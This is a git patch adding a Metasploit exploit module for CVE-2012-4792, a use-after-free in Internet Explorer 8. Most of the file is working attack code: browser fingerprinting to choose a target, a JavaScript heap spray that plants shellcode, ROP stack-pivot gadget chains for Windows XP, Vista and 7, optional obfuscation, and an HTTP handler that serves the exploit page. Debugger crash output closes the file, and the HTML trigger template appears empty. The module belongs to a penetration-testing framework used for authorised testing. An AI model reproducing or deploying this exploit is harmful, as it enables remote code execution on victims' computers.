From 6cb9106218bde56fc5e8d72c66fbba9f11c24449 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 30 Dec 2012 01:46:56 +0100 Subject: [PATCH] Added module for CVE-2012-4792 --- .../windows/browser/ie_cdwnbindinfo_uaf.rb | 298 ++++++++++++++++++ 1 file changed, 298 insertions(+) create mode 100644 modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb diff --git a/modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb b/modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb new file mode 100644 index 0000000000..2d716775eb --- /dev/null +++ b/modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb @@ -0,0 +1,298 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in Microsoft Internet Explorer. A + use-after-free condition occurs when a CDwnBindInfo object is freed by + FollowHyperlink2, but a reference is kept in CDoc. As a result, when the reference + is used again during a page reload, an invalid memory that's controllable is used, + and allows arbitrary code execution under the context of the user. + + Please note: This vulnerability has been exploited in the wild targeting + mainly China/Taiwan/and US-based computers. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'eromang', + 'mahmud ab rahman', + 'sinn3r' #Metasploit + ], + 'References' => + [ + [ 'CVE', '2012-4792' ], + [ 'US-CERT-VU', '154201' ], + [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], + [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], + [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ] + ], + 'Payload' => + { + 'Space' => 980, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30 + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30 + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30 + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 27 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def ie_heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + + # Land the payload at 0x0c0c0b30 + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + | + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + +=begin +Stack Pivoting to eax: +0:008> db eax +0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................ +0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................ +=end + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + stack_pivot = [0x77c15ed6].pack("V") * 54 # ret + stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret + stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c + rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) + else + print_status("Using JRE ROP") + stack_pivot = [0x7c348b06].pack("V") * 54 # ret + stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret + stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c + rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + end + + return rop_payload + end + + def load_exploit_html(my_target, cli) + + p = get_payload(my_target, cli) + js = ie_heap_spray(my_target, p) + + html = %Q| + + + + + + +
+
+ + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end + + +=begin +(87c.f40): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400 +eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +mshtml!CMarkup::OnLoadStatusDone+0x504: +637848c3 ff90dc000000 call dword ptr +0xdb (000000dc)[eax] ds:0023:12120de8=???????? +0:008> k +ChildEBP RetAddr +020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504 +020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47 +020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f +020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12 +020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb +020bfd78 7e418734 mshtml!GlobalWndProc+0x183 +020bfda4 7e418816 USER32!InternalCallWinProc+0x28 +020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 +020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306 +020bfe7c 01252ec9 USER32!DispatchMessageW+0xf +020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 +020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 +020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab +020bffec 00000000 kernel32!BaseThreadStart+0x37 + +0:008> r +eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120 +eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +mshtml!CMarkup::OnLoadStatusDone+0x504: +637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=???????? + +=end \ No newline at end of file